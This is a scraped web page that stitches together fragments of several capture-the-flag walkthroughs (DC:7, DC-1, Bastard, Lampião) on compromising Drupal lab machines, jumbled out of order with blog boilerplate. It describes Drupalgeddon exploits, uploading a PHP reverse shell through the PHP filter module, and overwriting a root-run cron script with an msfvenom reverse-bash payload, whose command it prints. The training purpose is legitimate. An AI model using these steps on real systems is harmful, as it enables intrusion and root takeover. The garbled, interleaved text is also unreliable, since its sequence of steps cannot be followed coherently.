Love these tutorials, definitely the best I’ve seen on the web by far so keep up the good work. Further, we need to start enumeration against the host machine, therefore without wasting time, we navigate to a web browser for exploring HTTP service, and DC:7- Welcome page will be opened in the browser that gave us a hint to search “outside the box” and this hint might be connected with internet. Your email address will not be published. Since the script’s owner is root that means when it is executed it will be run as root. After some time, you will have access to the root shell, you will now get the final flag in the root directory as shown below. “reverse shell backdoor.php” to be injected as a basic content. 5- Extract users table information. Remember that the running services are ssh and http. DC:7 writeup, our other CTF challenges for CTF players and it can be download from vulnhub from. When everything is set correctly, click the preview button and you’ll get the reverse connection over the netcat. That is lse.sh or “smart Linux enumeration script”. This account contains a link to GitHub: https:/github.com/Dc7User, maybe the author was pointing to this link. This video is unavailable. The message contains /opt/script/backup.sh as the subject of the message, let’s explore more. He is a renowned security evangelist. Raj Chandel is Founder and CEO of Hacking Articles. Sniff Out Vuln Paths: BloodHound Active Directory Walkt... How to Exploit Femitter FTP: A Kali Linux Walkthrough. Now I can paste the full command into my original reverse shell to reap our next shell. So nmap showed very exciting & cool outcome, specifically on port 80 that is accessible to HTTP service and is also used to operate drupal CMS, additionally, 15 submissions for robot.txt is like a cheery on a cake. Thanks!" The most interesting of which is drush. Well, one exploit as they both have the same name. Enumerating the directory contents reveals a .drupal.txt.enc file. we have our netcat session as www-data and if you will check permission on /opt/scripts/backup.sh, you will notice, that www-data has all permission to access or modify this file. We, therefore, move to install new module through. Author: Aarti Singh is a Researcher and Technical Writer at Hacking Articles an Information Security Consultant Social Media Lover and Gadgets. Once I do that I can easily get the connection to work. Examining the file type, it’s revealed as a Base64-encoded file with salted password. To allow PHP to execute you have to install the PHP Filter module. Just some stuff of stoeps. Inside backup.sh we notice it is using drush which stands for Drupal shell and it is a command-line utility that is used to communicate with drupal CMS. Successfully installing the new module will redirect to a new page with a success message. Looking at the nmap results we can see this is a Microsoft IIS server 7.5 which is Server 2008 R2. Keep the netcat listener ON in order to receive the incoming shell. try and see if that works for you. The results come in and identify a few running services. ... HTTP (note the http-generator shows as Drupal 7) Port 80 is used to identify requests for web pages, so let's take a look at that in our browser: ... A useful script to check for exploits on Linux machines is linux-exploit … Drupal 7.12 -latest stable release - suffers from multiple vulnerabilities which could allow an attacker to gain access to the management interface. So I have a username and a password what to do with them now? We, therefore, move to install new module through Manage>Extend>List>Install new module. For Drupal 7, it is fixed in the current release (Drupal 7.57) for jQuery 1.4.4 (the version that ships with Drupal 7 core) as well as for other newer versions of jQuery that might be used on the site, for example using the jQuery Update module. ... installing the tar.gz file for the php module to exploit the Drupal site. Raj Chandel is Founder and CEO of Hacking Articles. root@kali:~# nmap -p- -A 10.128.1.152 Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-04 12:44 EST Nmap scan report for DC-1.stoeps.lab (10.128.1.152) Host is up (0.00063s latency). Let’s check the ownership of that file. To reiterate we are generating code in bash to replace the bash code in the existing backup.sh script so that we can spawn a new reverse shell connection. Sign up for our email list to receive updates on our upcoming auctions. Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Add Admin User). There is always the possibility of abusing cronjob for privilege escalation so I explore further. - Bryan Dodson, How to Bypass Application Whitelisting with MSBuild, Automate Buffer Overflow Exploitation with Bofhelper, The Complete Python Asyncio Guide for Ethical Hackers. Droopescan. Great job man! ... We surfed the web for an exploit regarding exim tool of version 4.89. There is one difference with Drupal and that is there is an extra step required. So, identify your target. This is a Linux based CTF challenge where you can use your basic pentest skill to compromise this VM to escalate the root privilege shell.... Continue reading → This is Bastard HackTheBox machine walkthrough and it is also 6th machine of our OSCP like HTB boxes series.In this writeup, I have demonstrated step-by-step how I rooted to Bastard HTB machine.. Before starting let us know something about this machine. So I cat the contents of mbox and discover there is system mail with some interesting contents. The contents of the backups.sh file detail some commands that have run. Your email address will not be published. It affected every single site that was running Drupal 7.31 (latest at the time) or below, as you can read in this Security Advisory.. 7. Read the tutorial DC-1 Vulnhub Walkthrough: Docker & Drupal now! Search for the exploit in Google (you could use the ‘-x’ flag to view in searchsploit but I don’t like the format). Basically, it allows anybody to build SOAP, REST, or XMLRPC endpoints to send and fetch information in several output formats. DC:7 Vulnhub Walkthrough DC:7 is a solid Vulnhub VM to practice for OSCP real practical vulnerable machines tutorial for DC:7 Linux Privilege Escaltion. To scan the Drupal site I use droopescan. This isn’t a flag, btw, but if you have made it here, well done anyway. Don’t forget to add a “listening IP & port” to get a reversed connection. Now login to drupal web-service After drupal login I go to drupa version check I see drupal running 7.57 version I search google and find the exploit drupalgeddon2 remote code execution now try our exploit metasploit Transfer the file to the attacking box. And the github URL content a staffdb which is PHP repositories. Searching for Drupal version 7 exploits, I found that there are many available exploits. It works. Today we’re going to solve another CTF machine “Bastard”. As said above we’ll try to abuse writable permission assign on the script. This account contains a link to GitHub: After accessing the admin console, it was time to exploit web application by injecting malicious content inside it. Therefore, we try to change the admin password using the below command: Now, we’ve changed the password for the admin account to login to Drupal and explore the following URL: After accessing the admin console, it was time to exploit web application by injecting malicious content inside it. Search. Drupal_drupalgeddon3 exploit will work if we have access to any Drupal user account which has a permission to delete nodes. Given this criteria you can narrow the search down a bit, but referenced VMs from advanced ethical hackers is still your best bet. So I now login as admin with the password being “password” and guess what? Loading... Close. Just like how WordPress is commonly exploited by running PHP code on the webserver so to is the case here. Choosing the Preview button will execute the embedded PHP code. Install Drupal in another language. The credit goes to “DCAU” for designing this VM machine for beginners. Hi James, Setting up the files directory. At first, we’re looking for a directory list where we’ve found a “mbox” named file that contains an inbox message. 6- Crack users passwords using hashcat. A successful installation will display an update on authorize.php. For instance, you can … It was so bad, it was dubbed “Drupalgeddon”. :-)”. The next step is to embed the code for a reverse shell in the Drupal site by creating a new page and previewing in the web interface. A look at the web service shows that Drupal, the CMS software, is running. The text at the end of the page says @DC7USER finally a clue! I prefer to use the dockerized container version of droopescan. Content > Add content > Basic page > Save as PHP Code format. On the other hand, Drupalgeddon3 needs a session for a valid user to run the exploit. And there you have it that’s the DC 7 Vulnhub walkthrough. So, I tried the exploit for Drupal 7.x Module Services. The first step to attack is to identify the target. Couldn’t resist a dig! Services allows you to create different endpoints with different resources, allowing you to interact with your website and its content in an API-oriented way. This module was tested against Drupal 7.0 and 7.31 (was fixed in 7.32). If we open this web page in a browser we can see this is in fact a drupal instance. Watch Queue Queue. I have trouble getting the root shell at the end but. For Drupal … Introduction Specifications Target OS: Windows Services: HTTP, msrpc, unkown IP Address: 10.10.10.9 Difficulty: Medium Weakness Exploit-DB 41564 MS15-051 Contents Getting user Getting root Reconnaissance As always, the first step consists of … Nice! His works include researching new ways for both offensive and defensive security and has done illustrious research on computer Security, exploiting Linux and windows, wireless security, computer forensic, securing and exploiting web applications, penetration testing of networks. There is only one repository and as many know CMS exploits commonly exploit credentials stored in config.php files. HTTP – Drupal. Enjoy! Have a look at the Twitter page for DC7-User. To install droopescan follow these steps below. So at this point we need to generate some bash code to execute yet another reverse shell. Directly writing malicious scripts as web content will not give us the reverse shell of the application but after spending some time, we concluded that it requires PHP module. Drupal 7 includes a database abstraction API to ensure that queries executed against the database are sanitized to prevent SQL injection attacks. It is known for its security and being extensible. A Google search shows that the Drush command is related to Drupal and is a CLI utility that can be used to change the administrator password. Drupal 7 Rules Module walkthrough. 1- Using metasploit or any other exploits which gives you a reverse shell (without logging-in to drupal). Notify me of follow-up comments by email. This box was a medium level linux box on HTB created by ch4p, it started with finding a exploit for the drupal 7.54 running on the Microsoft IIS http server at port 80, the exploit gave us a shell as iusr who had perms to read user flag from dimitris user account. There are many VMs to choose from on vulnhub.com so it can be a daunting task to choose one. Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 – ‘Drupalgeddon2’ remote code execution. webapps exploit for PHP platform Drupal faced one of its biggest security vulnerabilities recently. That means it is a good idea to practice not needing to use it. This is the case for DC7 as we see there is a username and password stored in cleartext, great! With a shell now on the box I need to do one thing, escalate privileges to root. Designed by Elegant Themes | Powered by WordPress, "Your cheatsheet was so helpful I can't believe noone else has done this sooner. You can download the PHP package for Drupal from the URL below and upload the tar file to install the new module. Woah woah DC 7, haven’t done DC 1 yet? The DC 7 VM is one of several in order starting with DC 1. Step by step instructions to run the installation script. We can also see that this is hosting a drupal 7 website. Since anonymous users can exploit this vulnerability and there isn't any mitigating factor, users are advised to patch their websites as soon as possible. That is why just for fun I also run the lse.sh or smart enumeration script to see what we can find out about the box. This is the DC:7 Vulnhub walkthrough. Looking back at our findings from the initial enumeration it looks like it is time once again to look at the backups.sh script for help. <> 9. We found credential from inside config.php as shown below: With the help of above-enumerated credential, we try to connect with ssh and after obtaining tty shell we go for post enumeration and start directory traversing. This information is confirmed by the two enumeration scripts I run. Depending on the content of the requests this can lead to privilege escalation, arbitrary PHP […] It looks like a mail about a cronjob that has run. A walkthrough for the Lampião virtual machine, available from VulnHub. On ExploitDB you can find … Contribute to pimps/CVE-2018-7600 development by creating an account on GitHub. Now use the Pentest monkey PHP script, i.e. Looking at the Twitter page of DC7USER https://twitter.com/dc7user?lang=en I see there is a link for a GitHub this must be investigated further. Join our mailing list to receive the latest news and updates from our team. Posted by guru | Sep 20, 2019 | Redteam, Vulnhub | 0 |. The above file type can be easily brute-forced using a utility mentioned here. Pretty standard here read the final flag and you’re done! Built-in … The exploit could be executed via SQL Injection. Now follow the link to enable newly added modules. how to use powershell empire 3: the powershell empire 3... How to install and use evil winrm in kali linux, Coming SOON: Become an ethical hacker Ebook, How To Exploit Shellshock On Metasploitable 2, The Vulnuni: 1 Vulnhub Walkthrough Without Metasploit, The Axis2 and Tomcat Manager Vulnhub Walkthrough, The Spraykatz Tutorial to Dominate the Network. <> <> 8. Go to drupal.org/project/php to get the tar.gz file for the module and then upload the file on the Drupal site as admin. 4- Login to mysql database. Let’s start with a network scan using an aggressive Nmap scan as we always do, and this time also we will go with the same approach to identify open port for running services. There is one that has read-write for all users a file named mbox. The credit goes to “DCAU” for designing this VM machine for beginners. DC:7 writeup, our other CTF challenges for CTF players and it can be download from vulnhub from here. His works include researching new ways for both offensive and defensive security and has done illustrious research on computer Security, exploiting Linux and windows, wireless security, computer forensic, securing and exploiting web applications, penetration testing of networks. We can therefore abuse the rights of the user file for escalating privileges by modifying the contents of the source. Watch Queue Queue. This post describes multiple attacks upon the Bastard box on hackthebox.eu. Studying for the OSCP exam narrows the criteria for a favorable VM to practice on even further. Thus, we use msfvenom to generate a malicious piece of code for obtaining the bash shell. More about the files directory. Logging into the box as dc7user I take a look around and notice the permissions for the directory listing. as depicted below: “This is some “code” (yes, it’s not the greatest code, but that wasn’t the point) for the DC-7 challenge. In this article, we will solve a Capture the Flag (CTF) challenge that was posted on the VulnHub website by an author named Duca. 3- Read settings.php file. To install and use Drupal 7 in a language other than English. 7- Login using the cracked passwords to drupal … Skip navigation Sign in. Drupal Config File "settings.php" Overview. But first things first let’s enhance the shell that I do have already by upgrading to a Python TTY shell ( teletypewriter shell ). IP - 10.10.10.9. You will click the check mark on the box to the left of the PHP Filter module found by scrolling towards the end of the page. Make sure to hit the Install button located on the end of the page. Again, move to Manage > Extend >filters and enable the checkbox for PHP filters. A vulnerability in this API allows an attacker to send specially crafted requests resulting in arbitrary SQL execution. By considering the above-listed hint, we start footprinting on the @DC7-user and find the DC7-user twitter account. This is a Linux based CTF challenge where you can use your basic pentest skill to compromise this VM to escalate the root privilege shell. ... client-side exploit, an external attacker that controls directly a Drupal admin by a client-side exploit and son on. At the end of this web page, we observed another hint “@DC7User” which could be any possible username. The --verbose and --authentication parameter can be added in any order after and they are both optional. The Exploit Database is a CVE compliant archive of public exploits and corresponding vulnerable software, developed for use by penetration testers and vulnerability researchers. He is a renowned security evangelist. 2- Read flag1.txt file. 9 CVE-2017-6928: 732: Bypass 2018-03-01: 2019-10-02 Contact here. Overview. However, shortly after the public release of the PoC exploit, which many confirmed to be functional, researchers at Sucuri, Imperva, and the SANS Internet Storm Center started seeing attempts to exploit Drupalgeddon2, though none have yet to see any reports of websites being hacked. Security Scanner for Drupal installations to quickly identify potential security issues, server reputation and other aspects of the web server.. Drupal is one of the worlds leading content management system. So when we have opened the staffdb, here config.php looks more interesting and a note i.e. Enumeration is key! In this way we exploit the privileges of the backups.sh script in order to escalate to root privileges. The Escalate_Linux Walkthrough: Vulnhub CTFs, Use Satori for Easy Linux Privilege Escalation, Hacking Tutorial: Write a Reverse TCP Shell in Go. I’ve found myself updating and transferring my old blog in some of the dead hours of today and Piers Morgan somehow made it on the Netflix special I was watching with the family. If --authentication is specified then you will be prompted with a request to submit. My opinion is that this VM is a great VM for learning and practicing Linux privilege escalation. When I tried to use Drupalgeddon2 the exploit failed. Continue to change the “text format to PHP” and enable the publishing checkbox. TRENDING: The Complete Python Asyncio Guide for Ethical Hackers. For those that don’t know already you are prohibited from using Metasploit during the exam except for on one host. ... We learned from the scan that we have the port 80 open which is hosting Apache httpd service with Drupal 7, and we have the port 22 open. It is used on a large number of high profile sites. The output of the two Linux privilege escalation scripts is good but ultimately fruitless. The webshell I am using is one from pentestmonkey.com and is conveniently located by default in the Kali Linux directory /usr/share/webshells/php-reverse-shell.php use this one as well. By considering the above-listed hint, we start footprinting on the @DC7-user and find the DC7-user twitter account. I had the same problem until I changed folder to /opt/scripts on the www-data session. Once I browse it, I found that the version for Drupal is 7.54. DC:7 writeup, our other CTF challenges for CTF players and it can be download from vulnhub from here. With a netcat listener open to the port we defined in the PHP webshell one step ago a new shell is opened! Exploit for Drupal 7 <= 7.57 CVE-2018-7600. So, I looked at the drush command on google and found a command that was used to change an account’s password. I go ahead and try my exploit I used before against the running Drupal in DC 2, however it fails. Being an infosec enthusiast himself, he nourishes and mentors anyone who seeks it. Hmmm! Learn Python by Writing a Reverse HTTP Shell in Kali Li... DC-1 Vulnhub Walkthrough: Docker & Drupal, How to Exploit WordPress without Metasploit, https://www.youtube.com/watch?v=vsizHjKZw-o, The Complete Responder & NTLM Relay Attack Tutorial, The DNS Zone Transfer Kali Linux Tutorial, How to Exploit MS17-010 Eternal Blue without Metasploit, Command and Control: the SILENTTRINITY Walkthrough, A New PowerShell Empire - the Covenant C2 Tutorial, how to use powershell empire 3: the powershell empire 3 tutorial, Post-Exploit Guide: Use FTP in Kali Linux to Move Files, Kali Linux Virtual Machine ( VirtualBox ), https://github.com/alem0lars/docker-droopescan, https://github.com/diego-treitos/linux-smart-enumeration/blob/master/lse.sh. CVE-2014-3704CVE-113371CVE-SA-CORE-2014-005 . However the results for researching exploits for this kernel version are not so useful so I will proceed with a different route. This module exploits the Drupal HTTP Parameter Key/Value SQL Injection (aka Drupageddon) in order to achieve a remote shell on the vulnerable instance. Step 4: Run the installation script. Walkthrough of Bastard box on Hackthebox. Drupal 7 Rules Module walkthrough. Services is a "standardized solution for building API's so that external clients can communicate with Drupal". Directly writing malicious scripts as web content will not give us the reverse shell of the application but after spending some time, we concluded that it requires PHP module. Walkthrough Network Scanning. At this point I realize I need to actually power off my Kali Linux VM and add a Bridged or NAT network adapter. It is now retired box and can be accessible if you’re a VIP member. Instead of getting root am just getting another shell for www-data after injecting into the script. Raj Chandel. Admins using RESTful Web Services versions 7.x-2.x prior to 7.x-2.6 and versions 7.x-1.x prior to 7.x-1.7 for their Drupal websites are Paste the code copied above in the previous netcat session under the www-data shell and wait for some time and get back to another netcat listener. None of the SUID files are exploitable unfortunately. Now copy the generated code and start another netcat listener on a new terminal. Required fields are marked *. One possible avenue we can explore is a kernel exploit. HTB - Bastard. My first enumeration I do by AutoRecon and nmap. Great!! As per the description given by the author, this is an intermediate-level CTF.The target of this CTF is to get to the root of the machine and read the flag.txt file. So, when the installation is completed, we need to enable to added module. From redteamtutorials.com – Bash Unix Reverse Shellmsfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f raw > shell.sh. Turns out it belongs to root! It is currently the 150th most used plugin of Drupal, with around 45.000 active websites. Drupal only holds a very small portion of the market share for CMS software, but it is commonly used to demonstrate web exploitation techniques.
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